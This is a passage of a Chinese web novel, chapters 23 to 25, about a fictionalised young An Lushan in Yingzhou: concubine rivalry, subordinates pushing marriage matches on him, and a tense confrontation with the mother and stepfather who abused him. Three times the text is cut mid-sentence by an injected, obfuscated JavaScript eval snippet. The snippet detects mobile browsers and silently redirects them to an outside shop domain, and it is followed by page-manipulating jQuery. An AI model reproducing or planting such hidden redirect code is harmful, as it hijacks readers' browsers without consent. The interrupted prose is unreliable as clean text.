夜色昏暗,舞女看不清他脸上的神情,也猜测不出他的情绪。 只是听得对方道:“手都凉了。” 舞女勉强压下那股恐惧:“……有一点。” 闻言,面前的男人沉默了片刻,而后开口道:“我去吩咐下人再拿些炭火来。” 这样美好的一双手,不应该是凉的。 它应该永远都是温软的,娇嫩的,被精心呵护着。 而舞女听到安禄山的话时,几乎在顷刻间便愣住了。 她呆愣地看着面前的男人竟然真的下了榻,穿上鞋子离开了。 春宵苦短,眼前的这个男人是堂堂营州都督,威震一方的将领,却在这样的关头下榻离去,只是为了去吩咐下人给自己添些炭火。 她,她从小到大,都没有被人这样呵护过…… 彼时安禄山已经离开了内室。 他自然不知道自己在舞女的心里已经有了多么伟岸的形象,他也不在乎。 他满脑子想得都是,那双手实在是太凉了。 不该那么凉的。 这般想着,他吩咐守在外厅的李猪儿:“让下人再搬一盆炭火过来。” 安禄山话音刚落,忽地有下人来通传:“郎君,林姨娘求见。” 23. 给都督说亲 平心而论,林姨娘在安禄山后院的姬妾里,相貌并不出挑。 她甚至可以用相貌平平来形容,唯独长着一个小巧玲珑的鼻子,姑且能将她的容貌提到中人之姿。 也正是这鼻子,使得她能胜过整个后院的所有姬妾,独得安禄山的恩宠。 而安禄山也从不避讳他就是喜欢林姨娘的鼻子,这也无异于是在告诉后者,若想固宠,应该往哪里使力。 就比如此刻,林姨娘施施然走进外厅,从丫鬟手里接过醒酒汤,而后亲自端到安禄山的面前。 “今日郎君在府中设宴,妾身担心郎君纵酒过多身体不适,亲手为郎君熬了一碗醒酒汤。” “不必了。”安禄山淡淡道,“我没喝多。” 林姨娘微微一愣,继而做出几分委屈的模样:“妾身为了给郎君送醒酒汤,亲自冒着风雪过来的,冻得鼻子都红了,郎君您摸摸。” 她说着牵起安禄山的手,让对方的手指触碰到自己冻得发红的鼻子。 果不其然,待到安禄山的指尖触及对方冰凉的鼻尖,他的语气中不由多了几分诧异:“怎么这么凉?” 今夜月光很微弱,照在薄纱窗里根本透不进多少的光线,整个屋子昏暗极了。 而正是在这样昏暗的屋子里,安禄山看不见面前人的相貌,只能凭借手指的触感确认对方鼻子的形状。 小巧的,但是鼻梁又很挺,鼻尖微微翘起,像极了…… 指尖的触感是冰凉的,耳边时不时传来风雪呼啸的声音。 有那么一瞬间,他仿佛看到了那个尊贵无比的小身影裹着洁白的狐裘,站在白茫茫的雪地里,鼻尖被冻得红红的,缓缓地露出了一个明媚的笑容。 天地一色,皆沦为公主的陪衬,而那明媚如骄阳般的笑容,足以融化漫长的寒冬。 正失神间,身后传来了一道呼喊:“都督……” 安禄山回过头,便见到舞女缓缓朝这边走来,妩媚的声音婉转而又悦耳:“久不见都督进来,奴家还以为发生了什么事情。” 舞女没想到,都督只是出去吩咐个话的功夫,竟然就有人来截胡。 方才都督和林姨娘的话她都听见了,想来这个林姨娘是都督的宠妾。 她倒是没想到她被献来侍奉都督的第一晚,还没有讨得都督的欢心,就直接上难度,要和宠妾争宠了。 不过这一晚她是必须要赢的,她也只能赢。 不然过了今晚,她就会和舞队的其他舞姬们一样,被随便安置在哪个角落,届时都督哪里还会记得她? 之后,她仍旧会和从前那般,被旧主人玩腻了然后转送他人,辗转着成为不同人的玩物。 直到某天她老得再也跳不动舞,色衰爱驰,便会被弃如敝履,扫地出门,在人世间的某个泥泞角落挣扎着了却残生。 舞女深吸了一口气,她如今既然能有这个机会,那就绝不要沦落到那个悲惨的下场。 这第一晚,她势必要给都督留下足够深的印象。 今夜赢了,以后她的人生便是康庄大道;今夜若是输了,那以后她要面对的便是无底深渊。 安禄山并不清楚舞女心里的想法,只是见到她走了出来,不由得微微皱起眉头。 “你不是冷么,怎么出来了?” 林姨娘皮笑肉不笑地看着缓步走来的倩影,开口道:“这位是新来的妹妹吗?” 言语中颇有些咬牙切齿的意味。 而舞女的脸上自始至终都带着得体的笑容:“奴家姓柳,见过姐姐。” 末了,她又看向身侧的安禄山,伸出那双引以为傲的玉手,握住了对方宽大的手掌。 “奴家觉得好些了,都督您看,是不是没有那么凉了?” 确实没有那么凉了。 安禄山的神色稍微缓和了几分,他刚要开口,便见到外厅的门再次被打开,下人端着一盆新燃的炭火走了进来。 门被打开的瞬间,外面的风雪呼啸着进到了屋里,正在门口的林姨娘被吹了个满怀:“哎呀!” 而舞女的一双玉手也被吹得冰凉。 安禄山不由得反握住舞女的手,将那如玉一般的嫩手护在掌心。 待到门再次被关上以后,舞女趁势倒进安禄山的怀里,言语中平添了几分柔弱。 “都督,这里太冷了,咱们回去休息吧。” 安禄山见炭火已经搬过来了,微微点了点头,牵着舞女的手径直往内室走去了。 从始至终都没有再看林姨娘一眼。 而林姨娘呆呆地看着安禄山和舞女离开的背影,她想要开口挽留对方,可是对方却根本没有给她这个机会。 那一刻,她清晰地感知到,自己作为宠妾的好日子,已经到头了。 …… 自那夜过后,那个舞女果真被安禄山纳做妾室,没过多久,更是代替原本的林姨娘,成为了安禄山的宠妾。 而那个向安禄山献上舞女柳姨娘的下属,也无疑受到了重用,在营州一时间风光无两。 渐渐地,那些下属不再满足于只用美女钱财贿赂安禄山了。 美女只是暂时的,钱财贿赂早就被用烂了,瞧着都督的样子,怕是也逐渐看不上这点小恩小惠了。 这时,有人注意到了安禄山的一个致命问题—— 都督今年明明已经弱冠了,却仍未娶妻,一直是孤身一人。 这怎么行? 大唐律法,男十五,女十三即可婚嫁,都督如今位高权重,怎么还能一个人打光棍,枕边连个知心人都没有? 身为都督的下属,他们有必要为都督排忧解难! 不少人开始蠢蠢欲动。 要知道,妻和妾可是两个完全不同的概念。 妾大多数都是奴隶出身,就只是个榻上的玩物,妻可是内宅主母! 若是能献上令都督喜爱的妾,那只是贿赂都督,受到提拔重用; 可若是能为都督介绍一门好亲事…… 尤其是他们自家的姊妹姑娘,若是能成为了都督的妻子,那好处简直不能再多了! 怀揣着这样的想法,不少人开始兴奋地为安禄山介绍婚事。 只是安禄山本人对于此事似乎并不是很热衷,至少没有他的下属们那么着急和激动。 有些下属有意无意地试探了他几次,竟然都被上司给推脱了。 乃至于有一次,一个下属用力过猛,直接带着自家族妹来见安禄山,而后成功把后者给惹急了。 安禄山伸出手捏住那个女子的下巴,左右端详了一阵,随后冷笑道:“不如你先前送给我的那批漂亮啊。” 被当作以色侍人的姬妾羞辱的族妹哭着跑了出去,而那个下属也没捞到好。 都督面上羞辱的是他族妹,但实际上羞辱的不是他自己吗? 下属的脸被打得是火辣辣得疼,错非是当时没有外人,否则他以后别想再在同僚们面前抬起头来了。 而这还没完。 自那日以后,他便遭到了都督彻底的冷落。 众人实在是想不通啊,都督为什么不想娶妻? 不孝有三,无后为大,婚姻乃人生顶天大事,都督怎么就不着急呢? 那些在柳城本土长大的人知晓安禄山的出身,猜测着这可能和他“不祥之子”的名头有关。 有些和安禄山的继父相熟识的,也知道都督自小便被父母所厌恶,可能这就是都督不方便娶妻的原因。 毕竟父母之命,媒妁之言,若是都督的父母不愿意为他的婚事做主,那他无论如何也没法娶妻。 这可不行! 都督和父母的关系是小,他们的升官之路是大啊! 再者都督都在外边都闯荡了这么多年了,什么恩怨矛盾啊也肯定早就淡了。 血浓于水,父母和儿子还有隔夜仇吗? 况且,这倒是也提醒了他们。 都督本人那边行不通,他们可以往都督的父母那边使力啊! 到时候直接让都督的父母给都督把婚事定了,这不成也得成啊! 于是没过多久,安禄山继父和生母的家里一时间竟门庭若市,宾客络绎不绝,把门槛都给踏断了。 安母从前便是以占卜为生的巫女,即便这些年来不再抛头露面,安分地当个内宅妇人,可是对于拜火神的启示,她始终深信不疑。 安禄山那个孽障,生来便是不祥之子,即便他如今身居高位,也改变不了他命格不祥的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480744|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实! 如今他辉煌的一切都只是深渊表面的障眼法,用来迷惑世人,假以时日当真相显露,他和他身边的人必将迎来悲惨的终局! 怀抱着这样的想法,即便安禄山如今官任营州都督,她也坚决不和自己的儿子有所往来。 可是安禄山的继父不这么想啊。 安母整天念叨着她儿子身负不祥,可是安父看到的,却是这个继子权势滔天,在整个营州都无人敢不敬。 因此安父是有意和这位衣锦还乡的继子重归旧好的。 虽然没有旧好可以重归,但是没关系,他们名义上毕竟是父子,没有旧好可以创造旧好啊! 他的两个儿子,安禄山的两个兄长在营州混得也不错,可以被继子提拔来做手下,给继子办事啊! 毕竟他们可是一家人,肥水不流外人田嘛! 安父的如意算盘打得叮当响,可是安母不让。 他好几次想要带着礼物登门拜访继子的府邸,却都被自家媳妇给拦下了。 问就是—— “那个孽子是不祥之子,咱们不能和他扯上关系!” 不祥你个大头鬼啊! 最开始安禄山刚来的时候,在营州根基还不稳,安母拦着他也就忍了。 后来眼见着这个继子日子过得越来越红火,他从前需要巴结才能交往的都督府官员,如今却都在拼命巴结他的继子,安父是越来越忍不下去了。 与此同时,安母不断地从身边人耳中听说,自己先前弃如敝履的儿子如今过得居然一天比一天好,府邸宽敞气派,衣着鲜丽体面,也是发自内心地觉得难以置信。 那个如今统御全营州,气势威严、备受尊敬的大唐将领,居然是当初那个自小便被她不断鞭打虐待的不祥儿子! 安母备受刺激,情绪一天比一天焦躁,乃至于后来一见到外边有人来登门拜访,就把自己关进屋里,谁也不见。 仿佛只要看不见,听不着,那个从小被她虐待长大的儿子,就依旧是从前那个人人唾弃的不祥之子。 反倒是安父一直在忙前跑后,招待宾客,含笑着送走一批又一批客人,然后收下了一堆又一堆礼物。 大多数客人来访的目的都是为自家的姑娘说亲,希望能和营州都督喜结良缘,与安家结秦晋之好,对此安父自然是满口笑意地答应。 父母给儿子说亲本就是天经地义,而且在这方面他们肯定也不会亏待了安禄山啊。 毕竟他们不止是给安禄山选媳妇,更是给自家选亲家,自然是哪家好就记着哪家来。 安父这般想着,兴冲冲地同安母商议此时,可是安母一听是给那个孽子说亲,当即发了好大一通脾气。 “那个孽子是不祥之子!” “所有跟他有关联的人都会跟着遭殃,他根本不配娶亲!” 再后来,安母只要听见有人来,就开始大发脾气,而安父和安母之间的矛盾也越来越深。 直到有一日,夫妻两人的矛盾彻底爆发到了极点。 “你自己看看!” 终于在一次争吵过后,安父拽着安母来到东边的偏屋,推开了那扇掉色的木门。 “你自己看,这些都是来跟安禄山提亲的那些人送的!” 但见那扇已经破旧磨损的木门之后,却是放着几乎堆满整间屋子的礼物,绢帛布匹,钱财粮盐,将本就狭小的屋子装填得愈加逼仄。 安父指着屋里堆成小山的礼物,转过头瞪着安母。 “只要咱们能答应给安禄山说一门亲事,这些都是咱们的!” “他是不是不祥之子我不知道,我只知道他现在官居高位,亲近他就能过上从前想都不敢想的好日子!” 安母已经许多日不曾见人了,头发蓬乱,面色阴鸷,宛若一个恶鬼一般。 此时听见安父的话,她的眼中闪过一丝恶毒的神色。 那个不祥之子,不仅蛊惑了营州那么多人,连他的继父都蛊惑成了不祥的傀儡。 真是该死! 她倒要看看,能有什么不祥之物把他们蛊惑成这样! 这般想着,安母不忿地扭过头看向屋里。 随后不可思议地瞪大了双眼:“这......” 24. 母亲和继父 这,这满屋的东西都是真的?! 安父见她呆愣着没反应,干脆从那堆礼物里扯出了一匹布,塞到她的手里。 “你自己摸摸!” “这可是上好的绸绢!” “有了这些东西,别说咱俩后半辈子不用愁了,就连老大和老二都能跟着过上好日子!” “安禄山如今是营州都督,若是咱们能和他相认,那咱们就是都督的父母,以后谁敢不弯着腰见咱们!” 安母呆呆地看着手中的绸绢,陷入了沉默。 这绸绢丝滑细嫩,上面的绣花纹样华贵而又精致,她这辈子都没用过这么好的料子。 曾几何时,她的双手也是如这手中的布料一般细嫩的。 只是后来,全因为那个孽子的出生…… 她年纪轻轻就丧夫守寡,还带着一个身负不祥的拖油瓶,任人轻视唾弃。 都是因为那个孽子! 自己因为这个孽子吃了那么多苦头,如今他是发达了,可自己的青春和幸福却全都一去不复返了! 安父望见妻子眼中不断闪烁着浓烈的不忿与怨毒,当即就明白了她在想什么。 他和面前这个女人同床共枕十六载,太了解她了。 她把自己这些年来受到的所有苦难,全都归结到了她儿子身上,因为只要这样,她的痛苦和愤怒就有了发泄的根源。 一切都是因为她的儿子,一切都是因为这个不祥之子,否则她过得一定会更好。 如今她看着自己的儿子一步步身居高位,之所以觉得气愤,更多的是她在气恼儿子发达以后居然没有回来报答自己。 毕竟她可是养育了儿子整整十四年,为了这个不祥之子,她这十四年来吃了多少苦头,可是他现在日子过得滋润了,居然都不回来找自己,带着亲娘一起吃香喝辣。 可是她也拉不下脸主动去找这个儿子,毕竟她从前对这个儿子动辄鞭打,从来都是高高在上,现在让她去服软,怎么可能? 现在不可能也得可能了! 安禄山反正是不会来找他们了,要是他们再不去找安禄山,那这到嘴的肥肉可就都飞了! 这般想着,安父连忙趁热打铁道:“你既然觉得生了安禄山这个儿子害你受了委屈,那你就更应该去找他,跟他要点什么不是?不然些年来的委屈岂不是白受了!” “你看看你手里的布匹,这还是他的下属们送来的,那他自己手里指不定还有多少比这更好的好东西呢!” “咱们就应该再跟他多要些这样的好东西,让他给咱们换个宽敞些的新院子,再买几个聪明会做事的奴婢,衣服吃食都要最好的,毕竟咱们可是都督的父母!” 被丈夫目光炯炯地看着,安母深吸了一口气,终于点了点头。 没错,她就应该跟那个孽子把这些年来吃的苦都讨回来,不然自己这些年来的委屈岂不是白受了? “你想明白了?”安父惊喜地看着妻子,“你想明白了,那咱们就挑个好日子,去找他去!” “还得早点给他把亲事定下来!”安父说着就要往外边走去,“要不是我安家的姑娘们都大了,已经嫁人了,给他说个自家的妹妹做媳妇才是好的!” 然而安母听见丈夫的话,却是咬牙切齿道:“还要给他说亲?!” 他哪里有资格娶媳妇! 自己因为生下他才守寡,带着个拖油瓶含辛茹苦四年才再嫁,结果他现在还要自己去帮他说亲?! “你看看你,又不乐意了!”安父不忿地看着她,伸出手指了指满屋的礼品,“这些东西你是要还是不要?” 安母不说话了。 最后,在满屋钱财布帛的诱惑下,在丈夫苦口婆心地劝导下,安母终于卸下了心里的防线,同意去到安禄山府里给他说亲。 顺便,再跟他讨要些好处,不,是自己这些年来受苦受累的补偿。 ...... 最近,营州境内出现了一伙土匪,往来于营州和靺鞨边境之间,烧杀抢掠,无所不及,以致边境百姓苦不堪言。 这伙土匪往往在营州抢劫完便立即逃到靺鞨避难,等过段时间再回来继续抢劫,异常狡猾,当地长官多次剿匪不成,无奈上报给了营州都督安禄山。 为此,安禄山近日一直在忙着剿匪,一连数日都直到深夜才归家,终于将这帮土匪一网打尽。 是日,将这帮土匪斩首示众以后,奔波了许多日的安禄山终于能松了口气。 当日他便下令,准许整个都督府休假半日,自己也回到家里好好休息休息。 只是他没想到的是,他今日才能早点回家,却正好见到了两个意想不到的人。 彼时安禄山才刚走进家门,守在门后的下人见郎君终于回来了,赶紧过来通传:“启禀郎君,您的父母来了,现下正在正堂等着呢。” 他父母?! 安禄山瞪大眼睛,死死地盯着下人:“你说谁来了?” 那下人瞧见郎君如此凶狠的模样,那双威严的眼眸中竟还带着一丝杀意,登时浑身冒起了冷汗。 “回,回郎君,是您,您的父母......” 安禄山的双手下意识握紧成了拳头:“谁准许他们进来的?” “李猪儿在哪?” 他从没提及过自己的父母,这帮人甚至都没有通知他一声,居然就给放进来了? 这帮人是干什么吃的! 那个下人闻言连忙依照李猪儿的吩咐,面上露出一副为难的神情,苦着脸解释道:“小的们一开始自然也是不能放人进来的呀!” “毕竟都督您这些日子都不在府里,一连数日都在外边忙着剿匪,小的们也来不及给您递信,又见那两人衣着简陋,看着不像是您的父母,本来是直接轰走的......” “那两人其实已经来了许多次了,也已经被李管事轰走了许多次了,但是今日......” “今日怎么了。”安禄山这般说着,眼中闪烁着骇人的杀意。 下人被吓了一跳,哆哆嗦嗦地解释道:“今日那两人是赵兵马使带来的,赵兵马使当着小的们面做保证,说那两人就是郎君您的父母,要小的们好生招待。” “郎君您和赵兵马使一向关系好,赵兵马使也多次来府上做客,现下他这么说了,那小的们就只能......” 只能把人迎进来,当作郎君您的父母,好生招待着了。 闻言,安禄山冷笑了一声,旋即问道:“那个姓赵的玩意也在里边?” 下人额头冒出了阵阵冷汗,忙不迭点头。 天,都督连赵兵马使的名字都不喊了,直接“那个姓赵的玩意”了。 安禄山深吸了一口气,再睁开眼时,眼中的凶光已经尽数被收敛。 他缓步朝着正堂走去,想着待到今日过后,给那个姓赵的往下降几级比较合适。 或者直接给对方这身官袍脱了。 待到安禄山来到正堂的门前,还未等他推开门,迎面便见到柳姨娘打开门走了出来。 “郎,郎君?”柳姨娘惊讶地看着安禄山,而后迅速将双手背到身后。 见状,安禄山不由得眯起眼睛:“你的手怎么了?” “没,没什么……”柳姨娘支支吾吾着。 随后被安禄山抓住胳膊,不由分说将她的手拉到了身前。 “郎,郎君!” 但见柳姨娘那双原本细嫩的手上竟然出现了几块烫伤的痕迹,鲜红的烫痕映在白皙的手背上,显得狰狞无比。 而柳姨娘也在瞬间红了双眼。 她就是靠着这双手讨得郎君的欢喜的,如今这双手变成了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14489026|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,这烫伤若是消不下去了,那她以后还能受宠吗? 而那触目惊心的伤痕落到安禄山的眼中,令他那双原本就不算和善的眼神愈加凶狠。 就连出口的声音都带着几分寒意:“怎么弄的?” 柳姨娘害怕得颤抖了一下,哭着向安禄山解释了事情的始末。 原来柳姨娘在后院得知安禄山的父母前来,有意想要在二老面前露个脸,留下个好印象。 却不曾想那两位压根就没给她好脸,甚至说压根就没给都督府好脸色看。 安母一进府来就阴沉着脸,指着府里的各个角落挑三拣四,见到她来,更是颐指气使地骂她狐狸精。 随后安父就大剌剌地在主座坐了下来,要她端茶倒水。 柳姨娘不敢跟安禄山的父母硬碰硬,就老老实实地沏了壶茶。 结果茶才刚递到安母的手里,便被对方打翻了,所幸她躲得快,才没有烫到脸。 只是虽然连躲开了,和脸一样宝贵的手却因此受了伤。 柳姨娘交代清楚了事情的始末,末了哭着向安禄山跪了下来:“妾身无能,没有侍奉好二老,甚至还没把手给烫伤了,还望都督责罚!” 事到如今,她也只能作出一副可怜的模样,博得几分郎君的恻隐之心了。 果不其然,安禄山沉声道:“你先回去。” “回头跟李猪儿去库房,把宫里赏赐的什么紫雪红雪都拿回去,把手养回来。” 唐朝有一项惯例,每年腊日,便会赏赐文武百官各种面脂口脂之类的化妆品,其中以“紫雪”和“红雪”两种牌子最为珍贵。 这种赏赐还是在安禄山当上营州都督之后才能有的,可是他也从来不用这种东西,送来之后就一直放在库房里吃灰。 如今柳姨娘这双手一受伤,他倒是给想起来了。 如今柳姨娘一听郎君居然要把长安送来的脂粉都赏赐给她,登时满心欢喜道:“谢谢郎君!” 当时那批脂粉送过来的时候,她和后院的好几个姬妾都去看了,眼巴巴的瞅着那些东西送进了库房。 那可是长安送来的!还是宫中赏赐的!定然都是极上档次的好东西! 就连放那些脂粉的盒子,金花银盒,瞧着就不同凡响,府里都在传言,说什么用了就能容光焕发,芳华永驻之类的。 没想到这些东西就这么全都赏给她了! 那这手也算是伤值了呀! 于是柳姨娘欢天地喜地退下了,而这时安禄山才缓缓抬起头,看向面前紧闭的木门。 距他上一次归家,已经是六年前了。 十二岁那年他离家出走,被抓回来打了一顿,结果两年后,他就被母亲主动赶了出来。 他还记得,那年他被赶出大门的时候,是在一个冬天。 营州地界偏远,很早就落雪了,那日天上纷纷扬扬往地上落着雪花,而他身上只穿着一件单衣,鞋上破了好几个洞。 那时他的母亲冲着他恶狠狠道:“终于按照预言把你养到十四岁了,从今以后你爱去哪去哪,滚得越远越好,一辈子都别回来!” “就算回来了,这个家也容不下你!” 撂下这句话以后,面前的那扇大门便猛地合上了。 那时他颤颤巍巍地走在街上,这样冷的天气,家家户户都大门紧闭,街上一个人都没有。 他双脚踩在地上,一步一步地往前走着,直走到脚下的土地变成了雪,天地间变成了白茫茫的一片。 ……他都已经忘记了,他是怎么在那个冬天活下来的了。 唯独记得那时母亲看他的眼神,充满了憎恨与厌恶。 她从来没当他是自己的亲生儿子,只当他是一个不该来到这个世界的恶鬼。 安禄山深吸了一口气,而后推开了面前的大门。 25. 你们也配? 正堂的大门被推开的那一刻,屋里的所有人都朝这边看了过来。 苦于应付这些客人的李猪儿见到自家郎君回来了,连忙迎上前去,脸上充满了惊喜:“郎君您回来了!” 安禄山连看都没看他一眼。 他眯起眼睛看向正对大门的主座,彼时安父正坐在主座的位子上,一边翘着二郎腿,一边悠闲地喝着茶。 安父见到失踪好几天的继子终于现身了,那双精明的眼中闪过一丝惊喜的光亮,稍微正了正身子:“哎呀,禄山终于回来啦!” 听这话语,仿佛这个家不是安禄山的,而是他的一样。 而安母则是嫌恶地看了久未谋面的儿子一眼,言语中颇带着些阴阳怪气:“哟,我还以为你躲着不敢见我们呢!” “我有什么不敢的?”安禄山漫不经心地走上前,眼眸瞥过坐在客座一侧的赵兵马使,皮笑肉不笑地开口,“赵兵马使可真是热心肠啊。” 那个姓赵的兵马使却被安禄山森寒的目光吓了一跳。 不知为何,他竟在那双不怒自威的眼眸中感受到了滔天的杀意。 赵兵马使的双腿逐渐开始发软,他想要站起身来向上司行礼,却发现自己根本使不上力。 这个时候,安母开口了。 “孽子休得无礼!”她朝着自己的儿子冷喝道,“赵兵马使是客人!” 更是未来的亲家! 安禄山冷漠地扭过头,看向自己的母亲:“谁的客人?” “咱们安家的!”安母瞪着自己的不孝子,“如果不是赵兵马使好心带你母亲我进来,你这群不长眼的下人们就要把主子的父母给轰走了!” “咱们安家?”安禄山冷笑了一声,“安老夫人可还记得,您在我十四岁那年把我赶出家门时,都说过些什么?” 赶,赶出家门?! 此言一出,赵兵马使当即难以置信地看向安母。 他虽是营州人,可是并非在柳城长大,对于安都督不祥之子的传闻算是略有耳闻,但是知道得不算详细。 这安老夫人是怎么想的啊,要是真不想要这个儿子,早在小时候一把把人掐死不行吗? 既然都养大到了十四岁,那怎么还把人赶出去?! 这不是吃力不讨好吗! 赵兵马使自然是不清楚安禄山童年过的是什么日子,只是他再不清楚,此刻也感受到了事情的不对劲了。 看样子,都督本人和他父母之间的矛盾,比自己想象的还要深啊。 还有刚才都督看向他时那森寒的目光,他到现在想起来都还在情不自禁地打哆嗦。 赵兵马使的后背逐渐渗出了一层冷汗。 此时此刻,他终于开始意识到,带都督的父母进来,可能不是一件明智的事情了。 赵兵马使的思绪正在神游天外,而安母却是被儿子一句话给噎到了。 而后她别过头,支支吾吾道:“不......年纪大了,记不清了。” 安禄山细细地回味着母亲这句话,末了讽刺地笑道:“好一个记不清啊。” 眼见着气氛越来越僵,安父连忙打圆场道:“哎呀,禄山你才刚回来,快坐下,别理她!” “你娘一介女流之辈,头发长见识短,你如今都是做都督的人了,犯不着跟她计较!” 安禄山却是冷冷地看着他:“滚下来。” 若要说安禄山对自己的亲生母亲还存有一丝的尊敬,那么对这个和他没有半点血缘的继父,他没直接把人扔出去已经很克制了。 安父错愕地看着自己的继子,而后被对方那威严中透着杀意的目光彻底吓住了,下意识地从主座上站了起来,退到了一旁。 安禄山这才走上前,在主座上坐了下来。 他略微抬起眼皮看向一旁的李猪儿,后者当即会意,将原本桌上那个被安父用过的茶杯收走,拿出新杯子给安禄山倒了一杯茶水。 “郎君请用茶。” 这时安父勉强回过神来,看向继子的目光带着一丝怨毒和不忿。 自己可是他的继父! 他怎么敢的?! 安父刚要说些什么,便听得安禄山开口道:“你们是来干什么的?” 要钱?还是要东西? 除此之外,安禄山想不出其他的。 就从母亲和继父的这身破洞的衣服他也能看得出来,这对老夫妻这些年来过得想必不怎么样。 他这个继父还是有些东西的,单是他们夫妻两人过日子绝不至于这么惨。 可是他们有一个市井无赖的大儿子,还有一个爱赌博的二儿子啊。 这两兄弟一个没有工作,另一个每月月俸都不够进赌场走半圈的。 在安禄山十四岁被赶出家门之前,这两个继兄就已经在啃老了。 如今想必只能是啃得越来越严重。 就在他犹豫着,要不要给他的母亲点钱,至少让她换身体面的衣服的时候,耳边却传来继父爽朗的笑声。 “你这孩子,今年都二十了,还没有娶上媳妇,我和你娘都觉得这不合适啊。” 安父说着指了指客座处的赵兵马使:“这不,我和你娘给你说了门亲事,打算着今个咱们就一起把亲事给定下来,好让你快些娶上媳妇,快点给我和你娘生个大胖孙子!” 此言一出,安禄山嘴里的茶直接喷了出来。 “郎君!”李猪儿连忙道,“郎君您还好吗?!” 安禄山缓缓抬起头,看向赵兵马使的目光中涌动着滔天的杀意。 “好,我可太好了。” 好到现在就想把这个姓赵的给剁了。 这帮玩意从他这说亲不成,居然都把注意打到他母亲和继父那去了。 好啊,真是太好了。 看来都督府是该洗洗牌,来一次大换血了。 那赵兵马使被安禄山吓得胆战心惊,连话都说不出来了。 他,他现在走还来得及吗?! 他使劲克制着自己落荒而逃的冲动,随后便听得安禄山问道:“你要给我介绍的,是你家里的什么人。” 赵兵马使看着都督脸上丝毫不见半分善意的狞笑,咽了口唾沫,颤颤巍巍道:“禀,禀都督。” “是下官的亲妹妹,今年刚及笄……” “长得可还不错?”安禄山晃动着杯子里的茶。 “长得不错!”赵兵马使见都督态度有所缓和,连忙道,“不是下官自吹自擂,舍妹生得花容月貌,而且自小便教养得极好,知书达理,治理家事也颇有一道,您一定会喜欢的!” 这般说着,他自己的脸上都多了几分自信的笑意,仿佛对于这门亲事势在必得。 而安父也趁势道:“禄山你看看!我和你娘给你挑得媳妇不错吧!” “俗话说得好,一家有女百家求,依我看啊,咱们现在就把婚期和聘礼什么的都定下来,快快成婚!” 随后安禄山冷笑了一声:“不用定了,就明日吧。” “啊?”此言一出,众人都愣了。 赵兵马使迟疑道:“这,是不是太仓促了?” 过六礼少说也得大半年呢! 他倒是没看出来,原来都督还挺猴急的! 然而下一刻,安禄山却道:“明日我派下人抬一顶小轿子过去接,还是你们自己把人送过来?” 闻言,赵兵马使当即瞪大眼睛,不可思议地看着安禄山。 “荒唐!”安母一拍桌子,从位子上站了起来,“赵兵马使是要把自家妹妹嫁给你做正妻!你怎么敢以纳妾之礼待人家?!” 而赵兵马使的脸色更是一阵青一阵红。 安父连忙道:“哎呀禄山肯定是想错了!你和赵兵马使都消消气,消消气!” 末了,他又看向安禄山:“你这孩子怎么想的,赵家在营州也是颇有脸面的人家了,人家好好的一个大家闺秀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494958|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么可能做你的妾?” “人家嫁给你必然是要做正妻的!” 此言一出,赵兵马使的脸色这才缓和了几分。 而安禄山只觉得好笑。 大家闺秀? 勉强配给他提鞋! 他姓赵的今个既然敢挑起这个事,那这个鞋,他是提也得提,不提也得提! 这般想着,安禄山略微抬眸看着对方,本就面色不善的脸上露出了冰冷的笑意。 “明日见不到你妹妹,那你这身官袍也不用穿了。” 什么?! 赵兵马使几乎是双腿一软,便瘫倒在了椅子上。 安母大叫:“孽子而敢?!” 就连一直在勉强维持好脾气的安父也忍不住了:“安禄山你疯了吧!” “别以为你仗着自己是营州都督就能为所欲为!” 安禄山却低低地笑了。 末了他站起身,居高临下地看着继父:“你算是个什么东西,也敢教训我?” “我是你继父!”安父一张脸涨得通红,梗着脖子喊道。 “我也在纳闷呢。”安禄山漫不经心地理了理自己的袖口,“你从前也不傻啊。” “怎么现在就能觉得,你仗着是我继父的身份,就能为所欲为了?” “你!”安父气得全身都在颤抖,哆嗦着手臂指着他,“大唐律法,不孝不悌,轻则笞四十,重则杖八十,你既为营州都督,难道会不知道?!” 然后安禄山闻言,却是大笑了起来。 “安延偃,你要把这个事上报官府吗?” “在我的地盘,来我的都督府,状告我不孝?” 不过这个事倒是提醒他了。 安禄山看向李猪儿:“你去把孙孝哲喊来。” 他的亲兵队是自己一手调教提拔的,几乎等同于他的私兵,不出兵时就分布在他的府邸四周,护卫宅邸。 此言一出,赵兵马使登时就有了一种不好的预感。 他颤抖着道:“都,都督......” 安都督的亲兵队直属于都督自己,除了都督的命令谁也不听,因此都督府的其他官员可能不太清楚孙孝哲是谁。 可是他和都督关系匪浅,不仅知道孙孝哲是安都督的亲兵队队长,更是知道孙队性情残忍,嗜血嗜杀! 